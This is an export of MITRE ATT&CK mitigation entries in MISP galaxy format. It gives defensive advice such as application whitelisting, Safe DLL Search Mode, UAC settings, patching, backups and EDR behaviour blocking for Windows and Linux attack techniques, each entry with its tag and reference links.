Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation - T1042"*

Table 9184. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1042
https://msdn.microsoft.com/en-us/library/cc144156.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Removable Media Mitigation - T1025

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation - T1025"*

Table 9185. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1025
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Physical Medium Mitigation - T1052

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"*

Table 9186. Table References

Links
https://attack.mitre.org/mitigations/T1052
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

Communication Through Removable Media Mitigation - T1092

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation - T1092"*

Table 9187. Table References

Links
https://attack.mitre.org/mitigations/T1092
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

File and Directory Discovery Mitigation - T1083

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File and Directory Discovery Mitigation - T1083"*

Table 9188. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1083
https://technet.microsoft.com/en-us/library/ee791851.aspx

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code>

(Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation - T1038"*

Table 9189. Table References

Links
http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx
http://msdn.microsoft.com/en-US/library/ms682586
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1038
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding:

<code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: *misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation - T1044"*

Table 9190. Table References

Links
http://seclists.org/fulldisclosure/2015/Dec/34
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1044
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit

System Network Connections Discovery Mitigation - T1049

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation - T1049"*

Table 9191. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1049
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Service Registry Permissions Weakness Mitigation - T1058

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"*

Table 9192. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1058

Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"*

Table 9193. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1066

https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"*

Table 9194. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1068
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Bypass User Account Control Mitigation - T1088

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation - T1088"*

Table 9195. Table References

Links
https://attack.mitre.org/mitigations/T1088
https://github.com/hfiref0x/UACME

Exploitation for Defense Evasion Mitigation - T1211

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"*

Table 9196. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1211
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Extra Window Memory Injection Mitigation - T1181"*

Table 9197. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1181
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exploitation for Credential Access Mitigation - T1212

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"*

Table 9198. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/

https://attack.mitre.org/mitigations/T1212
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Component Object Model Hijacking Mitigation - T1122

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation - T1122"*

Table 9199. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1122
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Information Repositories Mitigation - T1213

To mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored
- Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
- Enforce the principle of least-privilege
- Periodic privilege review of accounts
- Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories

The tag is: *misp-galaxy:mitre-course-of-action="Data from Information Repositories Mitigation -*

T1213"

Table 9200. Table References

Links
https://attack.mitre.org/mitigations/T1213

Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: *misp-galaxy:mitre-course-of-action="Kernel Modules and Extensions Mitigation - T1215"*

Table 9201. Table References

Links
http://rkhunter.sourceforge.net
http://www.chkrootkit.org/
https://attack.mitre.org/mitigations/T1215
https://patchwork.kernel.org/patch/8754821/

Network Share Connection Removal Mitigation - T1126

Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation - T1126"*

Table 9202. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1126
https://technet.microsoft.com/en-us/library/ee791851.aspx

Signed Script Proxy Execution Mitigation - T1216

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Signed Script Proxy Execution Mitigation - T1216"*

Table 9203. Table References

Links
https://attack.mitre.org/mitigations/T1216

Execution through Module Load Mitigation - T1129

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

The tag is: *misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation - T1129"*

Table 9204. Table References

Links
https://attack.mitre.org/mitigations/T1129

Distributed Component Object Model Mitigation - T1175

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide

security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)

The tag is: *misp-galaxy:mitre-course-of-action="Distributed Component Object Model Mitigation - T1175"*

Table 9205. Table References

Links
https://attack.mitre.org/mitigations/T1175
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
https://technet.microsoft.com/library/cc771387.aspx

Man in the Browser Mitigation - T1185

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: *misp-galaxy:mitre-course-of-action="Man in the Browser Mitigation - T1185"*

Table 9206. Table References

Links
https://attack.mitre.org/mitigations/T1185

Hidden Files and Directories Mitigation - T1158

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation - T1158"*

Table 9207. Table References

Links
https://attack.mitre.org/mitigations/T1158

Data Encrypted for Impact Mitigation - T1486

Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)

In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encrypted for Impact Mitigation - T1486"*

Table 9208. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1486
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to

critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"*

Table 9209. Table References

Links
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf
https://attack.mitre.org/mitigations/T1498

Endpoint Denial of Service Mitigation - T1499

Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.

The tag is: *misp-galaxy:mitre-course-of-action="Endpoint Denial of Service Mitigation - T1499"*

Table 9210. Table References

Links
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf
https://attack.mitre.org/mitigations/T1499

Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: *misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"*

Table 9211. Table References

Links
https://attack.mitre.org/mitigations/T1190

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"*

Table 9212. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1111
https://technet.microsoft.com/en-us/library/ee791851.aspx

.bash_profile and .bashrc Mitigation - T1156

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: *misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation - T1156"*

Table 9213. Table References

Links
https://attack.mitre.org/mitigations/T1156

System Owner/User Discovery Mitigation - T1033

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation:

Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation - T1033"*

Table 9214. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1033
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Window Discovery Mitigation - T1010

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation - T1010"*

Table 9215. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1010
https://technet.microsoft.com/en-us/library/ee791851.aspx

Behavior Prevention on Endpoint - M1040

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages

heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:

Suspicious Process Behavior:

- Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
- Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.

Unauthorized File Access:

- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.

Abnormal API Calls:

- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
- Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like `OpenProcess` and `WriteProcessMemory` and terminates the offending process.

Exploit Prevention:

- Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
- Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.

The tag is: *misp-galaxy:mitre-course-of-action="Behavior Prevention on Endpoint - M1040"*

Table 9216. Table References

Links
https://attack.mitre.org/mitigations/M1040

Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation:

Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation - T1004"*

Table 9217. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
